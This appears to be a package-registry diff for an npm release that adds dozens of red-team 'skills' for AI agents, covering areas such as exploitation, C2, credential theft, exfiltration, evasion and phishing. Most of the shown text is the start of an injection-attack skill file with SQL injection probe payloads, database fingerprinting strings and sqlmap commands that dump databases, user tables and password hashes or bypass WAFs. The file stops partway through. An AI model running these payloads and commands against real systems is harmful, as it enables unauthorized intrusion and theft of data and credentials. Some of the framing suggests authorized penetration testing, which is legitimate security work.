rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1860 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-injection
|
|
3
|
+
description: "Injection attacks skill. Covers SQL injection (MySQL, PostgreSQL, MSSQL, Oracle), NoSQL injection (MongoDB), SSTI (Jinja2/Twig/FreeMarker), Command injection, LDAP injection, and XPath injection. Includes sqlmap automation, manual payloads, blind techniques, WAF bypass, and database-specific exploitation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-injection — Injection Attacks Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. Injection flaws are consistently ranked in the OWASP Top 10 and are among the most impactful vulnerability classes in web application security.
|
|
11
|
+
|
|
12
|
+
This skill covers the full injection attack surface:
|
|
13
|
+
|
|
14
|
+
| Injection Type | Target | Impact |
|
|
15
|
+
|---|---|---|
|
|
16
|
+
| SQL Injection | Relational databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) | Data exfiltration, auth bypass, RCE |
|
|
17
|
+
| NoSQL Injection | MongoDB, CouchDB, Redis | Auth bypass, data dump |
|
|
18
|
+
| SSTI | Template engines (Jinja2, Twig, FreeMarker, Smarty, Pebble) | RCE, file read |
|
|
19
|
+
| Command Injection | OS shell via application | Full RCE |
|
|
20
|
+
| LDAP Injection | Directory services | Auth bypass, user enumeration |
|
|
21
|
+
| XPath Injection | XML-based data stores | Auth bypass, data exfiltration |
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 2. Skill Levels
|
|
26
|
+
|
|
27
|
+
### BEGINNER
|
|
28
|
+
|
|
29
|
+
Focus: Identify injection points, run automated tools, understand output.
|
|
30
|
+
|
|
31
|
+
**Prerequisites:**
|
|
32
|
+
- Basic understanding of HTTP requests and responses
|
|
33
|
+
- Burp Suite Community installed and configured
|
|
34
|
+
- sqlmap installed (`pip install sqlmap` or Kali default)
|
|
35
|
+
- Python 3.x available
|
|
36
|
+
|
|
37
|
+
**Goals:**
|
|
38
|
+
- Run sqlmap against a URL and extract database names
|
|
39
|
+
- Identify SSTI with probe strings
|
|
40
|
+
- Test for basic command injection in form fields
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
### INTERMEDIATE
|
|
45
|
+
|
|
46
|
+
Focus: Manual payload construction, blind injection techniques, chaining vulnerabilities.
|
|
47
|
+
|
|
48
|
+
**Prerequisites:**
|
|
49
|
+
- Comfortable reading HTTP traffic in Burp Suite
|
|
50
|
+
- Understanding of SQL syntax across at least one DB engine
|
|
51
|
+
- Familiarity with base64/encoding concepts
|
|
52
|
+
|
|
53
|
+
**Goals:**
|
|
54
|
+
- Extract data via time-based and boolean-based blind SQLi
|
|
55
|
+
- Exploit SSTI to read files and execute commands
|
|
56
|
+
- Bypass simple WAF rules with encoding
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
### ADVANCED
|
|
61
|
+
|
|
62
|
+
Focus: WAF bypass, out-of-band (OOB) exfiltration, second-order injection, polyglot payloads.
|
|
63
|
+
|
|
64
|
+
**Prerequisites:**
|
|
65
|
+
- Strong understanding of multiple DB engines
|
|
66
|
+
- Experience with custom HTTP headers and request manipulation
|
|
67
|
+
- Familiarity with DNS-based OOB techniques
|
|
68
|
+
|
|
69
|
+
**Goals:**
|
|
70
|
+
- Exfiltrate data via DNS/HTTP OOB channels
|
|
71
|
+
- Identify and exploit second-order SQLi
|
|
72
|
+
- Build custom sqlmap tamper scripts
|
|
73
|
+
- Exploit injection in JSON/XML/GraphQL contexts
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
### EXPERT
|
|
78
|
+
|
|
79
|
+
Focus: Novel bypass techniques, exploitation of hardened targets, full chain to RCE, post-exploitation via injection.
|
|
80
|
+
|
|
81
|
+
**Prerequisites:**
|
|
82
|
+
- Deep understanding of database internals
|
|
83
|
+
- Experience with custom exploit development
|
|
84
|
+
- Familiarity with Burp Suite Pro extensions
|
|
85
|
+
|
|
86
|
+
**Goals:**
|
|
87
|
+
- Exploit injection in stored procedures and triggers
|
|
88
|
+
- Chain SQLi to OS-level RCE (MSSQL xp_cmdshell, MySQL UDF, PostgreSQL COPY TO)
|
|
89
|
+
- Develop novel WAF bypass polyglots
|
|
90
|
+
- Perform lateral movement using database link servers
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## 3. SQL Injection — Step-by-Step Attack Workflow
|
|
95
|
+
|
|
96
|
+
### Phase 1: Reconnaissance and Injection Point Discovery
|
|
97
|
+
|
|
98
|
+
**Step 1: Identify injection candidates**
|
|
99
|
+
|
|
100
|
+
Look for user-controlled input that reaches the database:
|
|
101
|
+
- URL parameters: `?id=1`, `?search=foo`, `?category=books`
|
|
102
|
+
- POST body parameters: form fields, JSON keys
|
|
103
|
+
- HTTP headers: `Cookie`, `X-Forwarded-For`, `Referer`, `User-Agent`
|
|
104
|
+
- Path parameters: `/user/1/profile`
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Spider the target with Burp Suite and export all requests
|
|
108
|
+
# Or use gau to collect historic URLs
|
|
109
|
+
gau https://target.com | grep "=" | tee urls.txt
|
|
110
|
+
|
|
111
|
+
# Use waybackurls for historical endpoints
|
|
112
|
+
waybackurls target.com | grep "=" | sort -u | tee wayback_params.txt
|
|
113
|
+
|
|
114
|
+
# Identify parameters with arjun
|
|
115
|
+
arjun -u https://target.com/api/search -t 10 -o arjun_output.json
|
|
116
|
+
|
|
117
|
+
# Check for injectable headers with dalfox
|
|
118
|
+
dalfox url https://target.com/page?id=1 --header "X-Forwarded-For: FUZZ"
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**Step 2: Manual probe — error-based detection**
|
|
122
|
+
|
|
123
|
+
Insert characters that break SQL syntax and observe errors:
|
|
124
|
+
|
|
125
|
+
```
|
|
126
|
+
# Single quote probe
|
|
127
|
+
https://target.com/item?id=1'
|
|
128
|
+
|
|
129
|
+
# Double quote probe
|
|
130
|
+
https://target.com/item?id=1"
|
|
131
|
+
|
|
132
|
+
# Comment probe (MySQL)
|
|
133
|
+
https://target.com/item?id=1--+
|
|
134
|
+
https://target.com/item?id=1#
|
|
135
|
+
|
|
136
|
+
# Comment probe (MSSQL/Oracle/PostgreSQL)
|
|
137
|
+
https://target.com/item?id=1--
|
|
138
|
+
|
|
139
|
+
# Arithmetic probe (no error = no reflection; difference = injectable)
|
|
140
|
+
# Original: id=1 → some result
|
|
141
|
+
# Test: id=2-1 → same result = arithmetic evaluated = injectable
|
|
142
|
+
https://target.com/item?id=2-1
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
**Step 3: Confirm injection with boolean-based probe**
|
|
146
|
+
|
|
147
|
+
```sql
|
|
148
|
+
-- True condition (should return normal page)
|
|
149
|
+
?id=1 AND 1=1--+
|
|
150
|
+
|
|
151
|
+
-- False condition (should return empty/different page)
|
|
152
|
+
?id=1 AND 1=2--+
|
|
153
|
+
|
|
154
|
+
-- String context
|
|
155
|
+
?name=foo' AND '1'='1
|
|
156
|
+
?name=foo' AND '1'='2
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
**Step 4: Determine database type**
|
|
160
|
+
|
|
161
|
+
```sql
|
|
162
|
+
-- MySQL
|
|
163
|
+
?id=1 AND SLEEP(0)--+ -- No delay (confirm syntax accepted)
|
|
164
|
+
?id=1 AND version() LIKE '8%'--+ -- Check version
|
|
165
|
+
|
|
166
|
+
-- PostgreSQL
|
|
167
|
+
?id=1; SELECT pg_sleep(0)-- -- PostgreSQL syntax
|
|
168
|
+
?id=1 AND 'a'='a'--
|
|
169
|
+
|
|
170
|
+
-- MSSQL
|
|
171
|
+
?id=1; WAITFOR DELAY '0:0:0'-- -- MSSQL syntax
|
|
172
|
+
|
|
173
|
+
-- Oracle
|
|
174
|
+
?id=1 AND ROWNUM=1--
|
|
175
|
+
?id=1 AND 1=1 FROM DUAL--
|
|
176
|
+
|
|
177
|
+
-- Generic fingerprint via error messages
|
|
178
|
+
' AND 1=CONVERT(int, @@version)-- -- MSSQL
|
|
179
|
+
' AND 1=(SELECT 1 FROM dual)-- -- Oracle
|
|
180
|
+
' AND 1=version()-- -- MySQL
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
### Phase 2: Automated Exploitation with sqlmap
|
|
186
|
+
|
|
187
|
+
#### BEGINNER sqlmap Commands
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Basic GET request scan
|
|
191
|
+
sqlmap -u "https://target.com/item?id=1" --dbs
|
|
192
|
+
|
|
193
|
+
# Basic POST request scan
|
|
194
|
+
sqlmap -u "https://target.com/login" --data "username=admin&password=test" --dbs
|
|
195
|
+
|
|
196
|
+
# Scan with Burp Suite captured request
|
|
197
|
+
# Save request from Burp as req.txt (right-click → Save item)
|
|
198
|
+
sqlmap -r req.txt --dbs
|
|
199
|
+
|
|
200
|
+
# Extract tables from specific database
|
|
201
|
+
sqlmap -u "https://target.com/item?id=1" -D target_db --tables
|
|
202
|
+
|
|
203
|
+
# Extract columns from specific table
|
|
204
|
+
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --columns
|
|
205
|
+
|
|
206
|
+
# Dump table data
|
|
207
|
+
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump
|
|
208
|
+
|
|
209
|
+
# Dump specific columns
|
|
210
|
+
sqlmap -u "https://target.com/item?id=1" -D target_db -T users -C "username,password,email" --dump
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
#### INTERMEDIATE sqlmap Commands
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
# Scan with custom cookie (authenticated session)
|
|
217
|
+
sqlmap -u "https://target.com/dashboard?report=1" \
|
|
218
|
+
--cookie "PHPSESSID=abc123; auth_token=xyz789" \
|
|
219
|
+
--dbs
|
|
220
|
+
|
|
221
|
+
# Scan JSON body
|
|
222
|
+
sqlmap -u "https://target.com/api/search" \
|
|
223
|
+
--data '{"query":"test","page":1}' \
|
|
224
|
+
--content-type "application/json" \
|
|
225
|
+
--dbs
|
|
226
|
+
|
|
227
|
+
# Scan with custom headers
|
|
228
|
+
sqlmap -u "https://target.com/api/user" \
|
|
229
|
+
--headers "Authorization: Bearer eyJhbGc..." \
|
|
230
|
+
--dbs
|
|
231
|
+
|
|
232
|
+
# Force specific DBMS (faster, fewer false probes)
|
|
233
|
+
sqlmap -u "https://target.com/item?id=1" --dbms=mysql --dbs
|
|
234
|
+
|
|
235
|
+
# Use specific injection technique
|
|
236
|
+
# B=Boolean-based, E=Error-based, U=UNION, S=Stacked, T=Time-based, Q=Inline-query
|
|
237
|
+
sqlmap -u "https://target.com/item?id=1" --technique=BEUST --dbs
|
|
238
|
+
|
|
239
|
+
# Increase risk and level for deeper testing
|
|
240
|
+
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3 --dbs
|
|
241
|
+
|
|
242
|
+
# Test specific parameter only
|
|
243
|
+
sqlmap -u "https://target.com/item?id=1&cat=books" -p id --dbs
|
|
244
|
+
|
|
245
|
+
# Skip URL encoding
|
|
246
|
+
sqlmap -u "https://target.com/item?id=1" --skip-urlencode --dbs
|
|
247
|
+
|
|
248
|
+
# Test headers for injection
|
|
249
|
+
sqlmap -u "https://target.com/" \
|
|
250
|
+
--headers "X-Forwarded-For: *" \
|
|
251
|
+
-p "X-Forwarded-For" \
|
|
252
|
+
--dbs
|
|
253
|
+
|
|
254
|
+
# Blind injection with custom string matching
|
|
255
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
256
|
+
--string "Welcome" \
|
|
257
|
+
--dbs
|
|
258
|
+
|
|
259
|
+
# Error-based with custom not-found string
|
|
260
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
261
|
+
--not-string "No results" \
|
|
262
|
+
--dbs
|
|
263
|
+
|
|
264
|
+
# Crack dumped password hashes
|
|
265
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
266
|
+
-D target_db -T users --dump \
|
|
267
|
+
--passwords
|
|
268
|
+
|
|
269
|
+
# Use threads for speed
|
|
270
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
271
|
+
--threads=10 \
|
|
272
|
+
--dbs
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
#### ADVANCED sqlmap Commands
|
|
276
|
+
|
|
277
|
+
```bash
|
|
278
|
+
# WAF bypass with tamper scripts
|
|
279
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
280
|
+
--tamper=space2comment,between,randomcase \
|
|
281
|
+
--dbs
|
|
282
|
+
|
|
283
|
+
# Full WAF bypass tamper chain (aggressive)
